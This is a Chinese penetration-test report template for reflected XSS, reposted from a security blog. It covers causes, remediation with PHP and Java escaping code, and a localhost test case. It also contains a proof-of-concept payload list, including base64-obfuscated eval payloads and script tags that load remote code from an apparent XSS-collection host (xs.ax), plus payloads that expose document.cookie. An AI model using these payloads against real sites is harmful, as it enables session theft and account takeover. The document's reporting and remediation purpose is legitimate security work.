漏洞报告模版 - XSS反射型跨站脚本攻击漏洞

admin 2022年4月20日16:00:50评论82 views字数 6973阅读23分14秒阅读模式

4.XSS反射型跨站脚本攻击漏洞

漏洞名称

XSS反射型跨站脚本攻击漏洞

漏洞地址

https://portswigger.net/web-security/cross-site-scripting

https://portswigger.net/web-security/cross-site-scripting#reflected-cross-site-scripting

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

漏洞等级

中危

漏洞描述

跨站脚本攻击是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与网站。XSS的攻击目标是为了盗取客户端的Cookie或者其他网站用于识别客户端身份的敏感信息。获取到合法用户的信息后,攻击者甚至可以假冒最终用户与网站进行交互。

XSS 全称 (Cross Site Scripting) 跨站脚本攻击, 指攻击者在网页中嵌入客户端脚本(例如 JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。XSS又分为反射型、存储型和DOM型。

反射型 XSS,也叫“非持久型 XSS”,只是简单地把用户输入的数据“反射”给浏览器。攻击脚本未存储在服务端,客户端每次访问需要携带攻击脚本才能中招。

漏洞成因

由于动态网页的Web应用对用户提交请求参数未做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),然后未加编码地输出到第三方用户的浏览器,这些攻击者恶意提交代码会被受害用户的浏览器解释执行。

漏洞危害

获取用户的Cookie,导航到恶意网站,携带木马等。

修复方案

通用方案:

1.将重要的Cookie标记为 http only,使javascript中的document.cookie语句不能获取到Cookie。2.输入检查: 在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容,只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字,而数字之外的字符都过滤掉。3.输出检查: 对数据进行html encode处理,过滤移除特殊的html标签。 例如: <script><iframe> ,&lt; for <, &gt; for >, &quot for ", 过滤javascript事件的标签。 例如: onclick=onfocus 等等 建议过滤关键字为: [1] < 左尖括号 [2] > 右尖括号 [3] " 双引号 [4] ' 单引号 [5] `` 反引号 [6] %百分号 [7](左圆括号 [8])右圆括号 [9];分号 [10]/正斜杠 [11]` 反斜杠 [12] [ 左中括号 [13] ] 右中括号 [14] & 连接符号 [15] # 井号 比如把<编码为&lt;

4.其他参考: 富文本过滤库 ruby: https://github.com/rgrove/sanitize php: https://github.com/ezyang/htmlpurifier javascript: https://github.com/leizongmin/js-xss https://github.com/cure53/DOMPurify 更多:

https://github.com/search?o=desc&q=xss&ref=searchresults&s=stars&type=Repositories&utf8=%E2%9C%93

PHP

建议采用以下函数进行实体编码或者过滤特殊字符

strip_tags($str, [允许标签])     #从字符串中去除 HTML 和 PHP 标记
htmlentities($str)               #转义html实体
html_entity_decode($str)         #反转义html实体
addcslashes($str'字符')         #给某些字符加上反斜杠
stripcslashes($str)              #去掉反斜杠
addslashes ($str )              #单引号、双引号、反斜线与 NULL加反斜杠
stripslashes($str)              #去掉反斜杠
htmlspecialchars()              #特殊字符转换为HTML实体
htmlspecialchars_decode()       #将特殊的 HTML 实体转换回普通字符

Java

1.特殊字符替换public static String html(String content) {
 if(content==nullreturn "";        
 String html = content;
 html = html.replace( "'""&apos;");
 html = html.replaceAll( "&""&amp;");
 html = html.replace( """"&quot;");  //"
 html = html.replace( "t""&nbsp;&nbsp;");// 替换跳格
 html = html.replace( " ""&nbsp;");// 替换空格
 html = html.replace("<""&lt;");
 html = html.replaceAll( ">""&gt;");
 return html;
}
2.apache工具包common-lang中有一个很有用的处理字符串的工具类,其中之一就是StringEscapeUtils,这个工具类是在2.3版本以上加上的去的,利用它能很方便的进行html,xml,java等的转义与反转义 org.apache.commons.lang3包有个StringEscapeUtilsStringEscapeUtils.unescapeHtml4(str);3.org.springframework.web.util.HtmlUtils 可以实现HTML标签及转义字符之间的转换。/** HTML转义 **/  
String s = HtmlUtils.htmlEscape("<div>hello world</div><p>&nbsp;</p>");  
System.out.println(s);  
String s2 = HtmlUtils.htmlUnescape(s);  
System.out.println(s2);

JSONP XSS

1.严格定义HTTP响应中的Content-Typejson数据格式 Content-Type: application/json;charset=UTF-82.建立callback函数白名单,如果传入的callback参数值不在白名单内,跳转到统一的异常界面阻止其继续输出。3.callback参数和json数据输出进行HTML实体编码来过滤掉“<”、“>”等字符。

测试过程

Cross-site scripting

漏洞验证

alert()已死,print()永生

长久以来,alert()一直被用来证明xss漏洞的存在,但是,从2021年7月20日Chrome 92版本发布以后,新版本已经针对alert()弹窗做了策略调整,同时,由于控制台功能在实际应用系统中偶有禁用,console.log()也不适合作为验证xss漏洞的Poc。在这种情况下,print()成为后起之秀。alert()已死,print()永生。

<script>print()</script>
漏洞报告模版 - XSS反射型跨站脚本攻击漏洞
image-20211226205552537

常用检测Poc

跨站脚本攻击(XSS)备忘录

Cross-site scripting (XSS) cheat sheet

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#onactivate

所有标签:

a
abbr
acronym
address
animate
animatemotion
animatetransform
applet
area
article
aside
audio
b
base
basefont
bdi
bdo
bgsound
big
blink
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
command
content
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
element
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1
head
header
hgroup
hr
html
i
iframe
image
image2
image3
img
img2
input
ins
isindex
kbd
keygen
label
legend
li
link
listing
main
map
mark
marquee
menu
menuitem
meta
meter
multicol
nav
nextid
nobr
noembed
noframes
noscript
object
ol
optgroup
option
output
p
param
picture
plaintext
pre
progress
q
rb
rp
rt
rtc
ruby
s
samp
script
section
select
set
shadow
slot
small
source
spacer
span
strike
strong
style
sub
summary
sup
svg
table
tbody
td
template
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
wbr
xmp

所有事件:

onafterprint
onafterscriptexecute
onanimationcancel
onanimationend
onanimationiteration
onanimationstart
onauxclick
onbeforecopy
onbeforecut
onbeforeprint
onbeforescriptexecute
onbeforeunload
onbegin
onbounce
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncopy
oncut
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onend
onended
onerror
onfinish
onfullscreenchange
onhashchange
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadend
onloadstart
onmessage
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmozfullscreenchange
onpagehide
onpageshow
onpaste
onpause
onplay
onplaying
onpointerdown
onpointerenter
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerup
onpopstate
onprogress
onrepeat
onreset
onresize
onscroll
onseeked
onseeking
onselect
onshow
onstart
onsubmit
ontimeupdate
ontoggle
ontouchend
ontouchmove
ontouchstart
ontransitioncancel
ontransitionrun
onunhandledrejection
onunload
onvolumechange
onwebkitanimationiteration
onwheel
'"><iMg SrC=x OnErRoR=print()>{{7*7}}
'"><iMg/SrC=x/OnErRoR=print()>{{7*7}}
<details/open/ontoggle=alert`1`>
<details/open/ontoggle=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzLmF4L2lac3I/JytNYXRoLnJhbmRvbSgp'))>
<details/open/ontoggle=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHMuYXgvaVpzcj8nK01hdGgucmFuZG9tKCk='))>
<details/open/ontoggle=print()>
<details/open/ontoggle=self['wind'+'ow']['one'+'rror']=self['wind'+'ow']['ale'+'rt'];throw/**/self['doc'+'ument']['cookie']>
<details/open/ontoggle=self['wind'+'ow']['one'+'rror']=self['wind'+'ow']['ale'+'rt'];throw/**/self['doc'+'ument']['domain']>
<Img sRC=//xs.ax/sGPf.jpg>
<Img sRC=//xs.ax/sGPf/picc.jpg>
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzLmF4L3NHUGY/JytNYXRoLnJhbmRvbSgp'))>
<img src=x onerror=print()>
<ImG sRc=X oNeRrOr=print()>
<iMg SrC=x OnErRoR=print()>
<script src=//aa.es>
<sCRiPt sRC=//xs.ax/sGPf></sCrIpT>
<script src=data:,print()></script>
<script src=https://xss.xss>
<script src=https://xss.xss></script>
<sCRiPt/SrC=//xs.ax/6paF>
<sCRiPt/SrC=//xs.ax/sGPf></sCRiPt>'"><iMg/SrC='x'OnErRoR=print()>{{7*7}}<"'
<script>print()</script>
<svg/onload=alert``>
<svg><a><script>print()</a>

测试案例

这里以反射型xss漏洞为例。

查看页面输出点,可以查看源码,也可以检查,F12查看

一般选取自己常用id Mannix

https://127.0.0.1///engineer/toRegAccount?name=Mannix

漏洞报告模版 - XSS反射型跨站脚本攻击漏洞
image-20211226231743246

输出点1:

<input type="text" class="form-control" readonly="readonly" value="Mannix" id="engineer_name"/>

输出点2:

漏洞报告模版 - XSS反射型跨站脚本攻击漏洞
image-20211226231858573

构造跨站脚本攻击代码

为了避免waf拦截采用console.log(1)

https://127.0.0.1///engineer/toRegAccount?name=Mannix%2527-console.log(1)-%2527
漏洞报告模版 - XSS反射型跨站脚本攻击漏洞
image-20211226232015584

控制台输出1证明存在跨站脚本攻击漏洞。

复测情况

已修复

测试人员

南风向晚

粉丝主动打赏看这里


漏洞报告模版 - XSS反射型跨站脚本攻击漏洞


全系列共105篇,持续更新中


原文始发于微信公众号(利刃藏锋):XSS反射型跨站脚本攻击漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月20日16:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞报告模版 - XSS反射型跨站脚本攻击漏洞https://cn-sec.com/archives/926264.html

发表评论

匿名网友 填写信息